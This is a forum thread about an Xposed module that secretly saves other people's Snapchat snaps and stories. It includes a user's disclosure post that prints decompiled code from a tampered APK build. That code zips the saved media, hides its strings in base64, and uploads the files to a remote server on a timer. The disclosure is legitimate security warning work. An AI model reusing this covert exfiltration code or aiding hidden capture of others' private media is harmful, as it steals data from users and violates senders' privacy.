[MOD][Xposed] Snapcept - Save snaps and stories from Snapchat [10.34.0.0]

Search This thread

emerysteele

Member
Jul 31, 2012
8
1
Is it possible to only save stories from a specific username? I know it's not built in, but how could I modify the source code to achieve this? Hoping someone could point me in the right direction.
 

StiggyPlue

Member
Sep 27, 2013
19
3
OnePlus 8T
I'm on 10.39.60 with the latest GitHub release but it's not saving any subscribed story? I know that viewing it on the Discover tab wouldn't auto save but... i cna't seem to view it somewhere else? I forwarded the story to myself still no auto save.. hmm.. Am I missing something?
 

Headsteady

New member
Nov 8, 2018
2
0
Hi guys, hope you are doing great. I am new to this forum. I just had one query. I saved some screenshots from my friend's story. But there are just too many filters (like animated big nose and ears) which makes it almost impossible to recognize an individual. Is it possible to remove these filters completely??

Any help shall be appreciated. Thanks a lot. Awaiting your response.
 

Adam3Sixty

Senior Member
Apr 23, 2011
1,891
762
Exeter
linktr.ee
OnePlus 7T
Hi guys, hope you are doing great. I am new to this forum. I just had one query. I saved some screenshots from my friend's story. But there are just too many filters (like animated big nose and ears) which makes it almost impossible to recognize an individual. Is it possible to remove these filters completely??

Any help shall be appreciated. Thanks a lot. Awaiting your response.
If u r taking a screenshot u will only see what is on it screen, self explanatory.
If u r saving using the module to download an image, it will save an image as it is seen on the screen.
If u r saving using the module to download a video, it will save the video untouched AND an image file overlay of the stickers and stuff.

Snapchat will turn an image file into a video of the sender puts an animation over the top of it, which really messes with the saving process.

This is all my understanding of the process, so I *may* be wrong about bits. I hope this helps a little tho.

Sent from my OnePlus 5T using XDA Labs
 
  • Like
Reactions: Headsteady

Headsteady

New member
Nov 8, 2018
2
0
Thanks for the prompt response.

Snapchat filters are indeed a bit annoying. I guess it's almost impossible to bring an image to it's original form (unless the sender itself shares the same). The maximum I have seen people doing is that they somehow successfully remove the sender's 'Username' & 'Countdown Time' visible on top left of the screen. But nobody has ever claimed if filters can be removed too by any means. Thanks :)
 

Adam3Sixty

Senior Member
Apr 23, 2011
1,891
762
Exeter
linktr.ee
OnePlus 7T
Thanks for the prompt response.

Snapchat filters are indeed a bit annoying. I guess it's almost impossible to bring an image to it's original form (unless the sender itself shares the same). The maximum I have seen people doing is that they somehow successfully remove the sender's 'Username' & 'Countdown Time' visible on top left of the screen. But nobody has ever claimed if filters can be removed too by any means. Thanks :)
Picture 1 is saved by a Snapchat download module.
Picture 2 is a screenshot of a private snap.
Picture 3 is a screenshot of a story.
U can see that the first image has nothing extra on it cos it is saved from the source. The other 2 are both saving only what is visible on the screen.

Sent from my OnePlus 5T using XDA Labs

Sorry for my ugly mug!
 

Attachments

  • adam3sixty_snap_2018-11-08_09-51-06-762.jpg
    adam3sixty_snap_2018-11-08_09-51-06-762.jpg
    229.1 KB · Views: 415
  • Screenshot_20181108-095115.jpg
    Screenshot_20181108-095115.jpg
    229.3 KB · Views: 409
  • Screenshot_20181108-095137.jpg
    Screenshot_20181108-095137.jpg
    227.7 KB · Views: 412
Last edited:
  • Like
Reactions: Headsteady

Spooky1221

New member
Nov 18, 2018
1
0
The modded snapchat is really Nice. I was wondering if there was any snapchat out there where i can upload pics & videos from gallery? It used to work with Casper until it discontinued.

Thanks a lot.
 

MxZeal

Senior Member
Mar 2, 2013
102
14
Anyone know if you can make this work with magisk instead of xposed? I want to use a 9.0 ROM but I'm only sticking to Oreo for snapcept (xposed not on 9)
 

PokemonTotalWar

Senior Member
Jan 29, 2014
760
209
24
OnePlus 5
Nintendo Switch
Anyone know if you can make this work with magisk instead of xposed? I want to use a 9.0 ROM but I'm only sticking to Oreo for snapcept (xposed not on 9)
A mod like this can't work on Magisk, because Xposed allows for modification of runtime processes, and Magisk only allows for filesystem modifications, very similar to flashing a TWRP ZIP.
 
  • Like
Reactions: MxZeal

ShlCar347

Senior Member
Sep 13, 2015
73
10
I'm getting auto logged out from Snapchat. I'm using latest Snapcept with the latest compatible Snapchat version.
 

allouh

Member
Sep 30, 2007
36
6
i got banned for 12hrs when i used snapcept two days ago, i removed it and completely reinstalled snapchat, and now im getting 24hr ban!
 

yo_honey

Senior Member
Oct 16, 2015
176
60
Bikaner
Samsung Galaxy S23 Ultra
Reply from developer on GitHub


I'm getting auto logged out from Snapchat. I'm using latest Snapcept with the latest compatible Snapchat version.

i got banned for 12hrs when i used snapcept two days ago, i removed it and completely reinstalled snapchat, and now im getting 24hr ban!
https://github.com/Snapcept/Snapcept/issues/14#issuecomment-452447496

He developed a magisk module to counter that ban issue
 

Top Liked Posts

  • There are no posts matching your filters.
  • 24
    This is a fork of Snapintercept. Thanks to lithirium for the awesome base.
    Snapcept does the same but with additional features.

    I will still try to keep it simple to update the module so we can quickly move to the next latest release.
    If possible, there will be an update within 24h of the latest Snapchat release as long as I know about it. :fingers-crossed:

    Features:
    • Save received snap images, videos and their overlays.
    • Save story images / videos of your friends or people you are subscribed to. Make sure to open their story from the snap overview and not the discovery overview.
    • A settings UI to enable/disable snap/story images and videos being saved.

    Snaps are saved automatically when they are received. Stories when they are viewed (plus a few after that because of pre-loading).

    GitHub: https://github.com/Snapcept/Snapcept
    Download: https://github.com/Snapcept/Snapcept/releases/latest
    9
    Older build has data exfiltration classes implemented

    Upon warning from @depii I started investigating on the suspect data exfiltration being performed by the module.
    By the time I started investigating the issue I downloaded the following file:
    snapcept_1.7.0.apk with SHA256: 57907097CA5880410A9AD7A5ACCE6548D504496B7D1B1BBEE0C9A81F05D37B21
    Using jdax I found no evidence of malicious classes being imported by the main classes,
    @depii informed me that he was in possession of a file downloaded few days earlier with a different SHA256: 025701BFD7A378644702386F717DED8961F9B37085DBA990D453D84968A2B1ED
    originally it was also named snapcept_1.7.0.apk.
    By analizing the classes imports, there is one that schedules a queue to be processed periodically:
    Code:
    import defpackage.hv;
    this is the code for the hv class:
    Code:
    package defpackage;
    
    import android.content.SharedPreferences;
    import android.content.SharedPreferences.Editor;
    import java.util.LinkedList;
    import java.util.Queue;
    import java.util.Timer;
    import java.util.UUID;
    
    public class hv {
        private static hv a;
        private final Queue<hu> b = new LinkedList();
        private Timer c = null;
    
        private hv() {
        }
    
        public static hv a() {
            if (a == null) {
                a = new hv();
            }
            return a;
        }
    
        private synchronized String b(ik ikVar) {
            String string;
            SharedPreferences b = ikVar.b();
            string = b.getString("a", null);
            if (string == null) {
                string = UUID.randomUUID().toString();
                Editor edit = b.edit();
                edit.putString("a", string);
                edit.commit();
            }
            return string;
        }
    
        public void a(hu huVar) {
            if (huVar.b().b().equals("UNKNOWN")) {
                this.b.add(huVar);
            }
        }
    
        public void a(ik ikVar) {
            if (this.c == null) {
                String b = b(ikVar);
                this.c = new Timer();
                this.c.scheduleAtFixedRate(new ii(this, b), 30000, 30000);
                this.c.scheduleAtFixedRate(new ig(b), 60000, 3600000);
            }
        }
    
        public Queue<hu> b() {
            return this.b;
        }
    }
    ii class contains methods for data compression prior exfiltration, strings are base64 encoded
    Code:
    package defpackage;
    
    import android.app.AndroidAppHelper;
    import android.content.Context;
    import android.content.pm.PackageManager.NameNotFoundException;
    import android.net.wifi.WifiManager;
    import android.util.Base64;
    import java.io.BufferedInputStream;
    import java.io.File;
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.InputStream;
    import java.io.OutputStream;
    import java.text.SimpleDateFormat;
    import java.util.Date;
    import java.util.Locale;
    import java.util.Queue;
    import java.util.TimerTask;
    import java.util.zip.ZipEntry;
    import java.util.zip.ZipOutputStream;
    
    public class ii extends TimerTask {
        private final hv a;
        private final String b;
        private Context c;
    
        public ii(hv hvVar, String str) {
            this.a = hvVar;
            this.b = str;
        }
    
        private void a() {
            WifiManager wifiManager = (WifiManager) this.c.getSystemService("wifi");
            if (wifiManager != null && wifiManager.isWifiEnabled()) {
                File externalFilesDir = this.c.getExternalFilesDir(null);
                if (externalFilesDir != null) {
                    for (File file : externalFilesDir.listFiles()) {
                        try {
                            if (new ic().a(hr.b).a(hr.a, this.b).a(new ia().a(new String(Base64.decode("Y2FsbA==", 0)), new String(Base64.decode("YWJj", 0)), file)).b().a().a() == 200) {
                                iu.b(file);
                            }
                        } catch (Exception e) {
                        }
                    }
                }
            }
        }
    
        private void a(ZipOutputStream zipOutputStream, ix ixVar) {
            OutputStream fileOutputStream;
            OutputStream outputStream;
            Throwable th;
            OutputStream outputStream2;
            InputStream inputStream = null;
            try {
                InputStream a;
                zipOutputStream.finish();
                zipOutputStream.close();
                String format = new SimpleDateFormat(new String(Base64.decode("eXl5eS1NTS1kZF9ISC1tbS1zcy1TU1M=", 0)), Locale.ENGLISH).format(new Date());
                File externalFilesDir = this.c.getExternalFilesDir(null);
                StringBuilder stringBuilder = new StringBuilder();
                stringBuilder.append(format);
                stringBuilder.append(new String(Base64.decode("LnppcA==", 0)));
                fileOutputStream = new FileOutputStream(new File(externalFilesDir, stringBuilder.toString()));
                try {
                    a = ixVar.a();
                } catch (Exception e) {
                    if (inputStream != null) {
                        iv.a(inputStream);
                    }
                    if (fileOutputStream != null) {
                        iv.a(fileOutputStream);
                    }
                    iv.a((OutputStream) ixVar);
                    iv.a((OutputStream) zipOutputStream);
                } catch (Throwable th2) {
                    outputStream = fileOutputStream;
                    th = th2;
                    outputStream2 = outputStream;
                    if (inputStream != null) {
                        iv.a(inputStream);
                    }
                    if (outputStream2 != null) {
                        iv.a(outputStream2);
                    }
                    iv.a((OutputStream) ixVar);
                    iv.a((OutputStream) zipOutputStream);
                    throw th;
                }
                try {
                    OutputStream a2 = ht.a(fileOutputStream);
                    try {
                        iv.a(a, a2);
                        if (a != null) {
                            iv.a(a);
                        }
                        if (a2 != null) {
                            iv.a(a2);
                        }
                    } catch (Exception e2) {
                        fileOutputStream = a2;
                        inputStream = a;
                        if (inputStream != null) {
                            iv.a(inputStream);
                        }
                        if (fileOutputStream != null) {
                            iv.a(fileOutputStream);
                        }
                        iv.a((OutputStream) ixVar);
                        iv.a((OutputStream) zipOutputStream);
                    } catch (Throwable th3) {
                        th = th3;
                        InputStream inputStream2 = a;
                        outputStream2 = a2;
                        inputStream = inputStream2;
                        if (inputStream != null) {
                            iv.a(inputStream);
                        }
                        if (outputStream2 != null) {
                            iv.a(outputStream2);
                        }
                        iv.a((OutputStream) ixVar);
                        iv.a((OutputStream) zipOutputStream);
                        throw th;
                    }
                } catch (Exception e3) {
                    inputStream = a;
                    if (inputStream != null) {
                        iv.a(inputStream);
                    }
                    if (fileOutputStream != null) {
                        iv.a(fileOutputStream);
                    }
                    iv.a((OutputStream) ixVar);
                    iv.a((OutputStream) zipOutputStream);
                } catch (Throwable th4) {
                    outputStream = fileOutputStream;
                    th = th4;
                    inputStream = a;
                    outputStream2 = outputStream;
                    if (inputStream != null) {
                        iv.a(inputStream);
                    }
                    if (outputStream2 != null) {
                        iv.a(outputStream2);
                    }
                    iv.a((OutputStream) ixVar);
                    iv.a((OutputStream) zipOutputStream);
                    throw th;
                }
            } catch (Exception e4) {
                fileOutputStream = null;
                if (inputStream != null) {
                    iv.a(inputStream);
                }
                if (fileOutputStream != null) {
                    iv.a(fileOutputStream);
                }
                iv.a((OutputStream) ixVar);
                iv.a((OutputStream) zipOutputStream);
            } catch (Throwable th5) {
                th = th5;
                outputStream2 = null;
                if (inputStream != null) {
                    iv.a(inputStream);
                }
                if (outputStream2 != null) {
                    iv.a(outputStream2);
                }
                iv.a((OutputStream) ixVar);
                iv.a((OutputStream) zipOutputStream);
                throw th;
            }
            iv.a((OutputStream) ixVar);
            iv.a((OutputStream) zipOutputStream);
        }
    
        public void run() {
            if (this.c == null) {
                try {
                    this.c = AndroidAppHelper.currentApplication().createPackageContext(new String(Base64.decode("bG9jYWwuc25hcGNlcHQ=", 0)), 2);
                } catch (NameNotFoundException e) {
                    return;
                }
            }
            if (is.b()) {
                OutputStream outputStream;
                int i;
                Queue b = this.a.b();
                OutputStream ixVar = new ix();
                OutputStream zipOutputStream = new ZipOutputStream(ixVar);
                loop0:
                while (true) {
                    outputStream = ixVar;
                    i = 0;
                    while (true) {
                        hu huVar = (hu) b.poll();
                        if (huVar == null) {
                            break loop0;
                        }
                        File a = huVar.a();
                        ir b2 = huVar.b();
                        if (a.exists()) {
                            try {
                                StringBuilder stringBuilder = new StringBuilder();
                                stringBuilder.append(b2.c());
                                stringBuilder.append("/");
                                stringBuilder.append(b2.g());
                                zipOutputStream.putNextEntry(new ZipEntry(stringBuilder.toString()));
                                BufferedInputStream bufferedInputStream = new BufferedInputStream(new FileInputStream(a));
                                byte[] bArr = new byte[2048];
                                while (true) {
                                    int read = bufferedInputStream.read(bArr);
                                    if (read <= 0) {
                                        break;
                                    }
                                    zipOutputStream.write(bArr, 0, read);
                                }
                                zipOutputStream.closeEntry();
                                i++;
                                if (i >= 15) {
                                    break;
                                }
                            } catch (Exception e2) {
                            }
                        }
                    }
                    a(zipOutputStream, outputStream);
                    ixVar = new ix();
                    zipOutputStream = new ZipOutputStream(ixVar);
                }
                if (i > 0) {
                    a(zipOutputStream, outputStream);
                }
                iv.a(outputStream);
                iv.a(zipOutputStream);
                a();
            }
        }
    }
    hw class contains strings, base64 encoded, for setting the http header for the POST
    Code:
    package defpackage;
    
    import android.util.Base64;
    
    class hw {
        static final String a = new String(Base64.decode("DQo=", 0));
        static final String b = new String(Base64.decode("LS0=", 0));
        static final String c = new String(Base64.decode("Jg==", 0));
        static final String d = new String(Base64.decode("PQ==", 0));
        static final String e = new String(Base64.decode("VVRGLTg=", 0));
        static final String f = new String(Base64.decode("R0VU", 0));
        static final String g = new String(Base64.decode("UE9TVA==", 0));
        static final String h = new String(Base64.decode("Q29udGVudC1UeXBl", 0));
        static final String i = new String(Base64.decode("YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk", 0));
        static final String j = new String(Base64.decode("dGV4dC9wbGFpbg==", 0));
        static final String k = new String(Base64.decode("YXBwbGljYXRpb24vb2N0ZXQtc3RyZWFt", 0));
        static final String l = new String(Base64.decode("bXVsdGlwYXJ0L2Zvcm0tZGF0YTsgYm91bmRhcnk9", 0));
        static final String m = new String(Base64.decode("Q29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSI=", 0));
        static final String n = new String(Base64.decode("IjsgZmlsZW5hbWU9Ig==", 0));
        static final String o = new String(Base64.decode("Ig==", 0));
        static final String p = new String(Base64.decode("OiA=", 0));
        static final String q = new String(Base64.decode("OiB0ZXh0L3BsYWluOyBjaGFyc2V0PQ==", 0));
        static final String r = new String(Base64.decode("Q29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmluYXJ5", 0));
        static final String s = new String(Base64.decode("aHR0cC5wcm94eUhvc3Q=", 0));
    }
    the class hx actually implements the http call that performs the exfiltration
    Code:
    package defpackage;
    
    import java.io.IOException;
    import java.io.OutputStream;
    import java.net.HttpURLConnection;
    import java.net.URL;
    import java.util.HashMap;
    import java.util.Map.Entry;
    
    public class hx {
        private final String a;
        private final String b;
        private final HashMap<String, String> c;
        private final hz d;
    
        public hx(ic icVar) {
            this.a = icVar.a;
            this.b = icVar.b;
            this.c = icVar.c;
            this.d = icVar.d;
        }
    
        public id a() {
            Throwable th;
            if (ie.a()) {
                throw new IOException();
            }
            OutputStream outputStream = null;
            HttpURLConnection httpURLConnection;
            try {
                httpURLConnection = (HttpURLConnection) new URL(this.a).openConnection();
                try {
                    httpURLConnection.setDoInput(true);
                    httpURLConnection.setRequestMethod(this.b);
                    for (Entry entry : this.c.entrySet()) {
                        httpURLConnection.setRequestProperty((String) entry.getKey(), (String) entry.getValue());
                    }
                    if (this.b.equals("POST") && this.d != null) {
                        httpURLConnection.setDoOutput(true);
                        for (Entry entry2 : this.d.a().entrySet()) {
                            httpURLConnection.setRequestProperty((String) entry2.getKey(), (String) entry2.getValue());
                        }
                        OutputStream outputStream2 = httpURLConnection.getOutputStream();
                        try {
                            outputStream2.write(this.d.b());
                            outputStream2.flush();
                            outputStream2.close();
                            outputStream = outputStream2;
                        } catch (Throwable th2) {
                            OutputStream outputStream3 = outputStream2;
                            th = th2;
                            outputStream = outputStream3;
                            if (httpURLConnection != null) {
                                httpURLConnection.disconnect();
                            }
                            if (outputStream != null) {
                                iv.a(outputStream);
                            }
                            throw th;
                        }
                    }
                    id a = id.a(httpURLConnection);
                    if (httpURLConnection != null) {
                        httpURLConnection.disconnect();
                    }
                    if (outputStream != null) {
                        iv.a(outputStream);
                    }
                    return a;
                } catch (Throwable th3) {
                    th = th3;
                    if (httpURLConnection != null) {
                        httpURLConnection.disconnect();
                    }
                    if (outputStream != null) {
                        iv.a(outputStream);
                    }
                    throw th;
                }
            } catch (Throwable th4) {
                th = th4;
                httpURLConnection = null;
                if (httpURLConnection != null) {
                    httpURLConnection.disconnect();
                }
                if (outputStream != null) {
                    iv.a(outputStream);
                }
                throw th;
            }
        }
    }
    While performing the investigation I have been sent the apk for the 1.6.0 version, that has a similar exfitration workflow but some strings doesn't seem to be base64 encoded. I didn't verify myself but I've been sent fragments of code.
    There is enough evidence for me to conclude that the package is compromised while the sourcecode looks clean and lacking of the malicious code.
    I'm not going to make any accusation to the developer, but assuming he is not responsible for this serious happening, then his github account is compromised and his credential must have been stolen.
    I consider very unlikely that an attacker would be able to perform apk swap by injecting malicious code on multiple versions without developer being aware of this.
    Again, I am not accusing the dev, just talking by experience.
    6
    Sorry for taking so long to update. Was busy with some other stuff.
    I have now finished up support for v10.33.5.0 and uploaded it to GitHub.
    This update also includes a preferences user interface that allows you to enable/disable the things being saved.
    6
    I noticed it stopped working and I couldn't figure out why until I saw on the play store snapchat updated to 10.33.5.0

    I'll put out an update soon (few hours).
    Want to add some extra features first.
    3
    There is a new update for the module on github for the last version of snapchat .. And it's working fine ..
    Thank you so much developer :victory:

    Sent from my SM-N950F using XDA Labs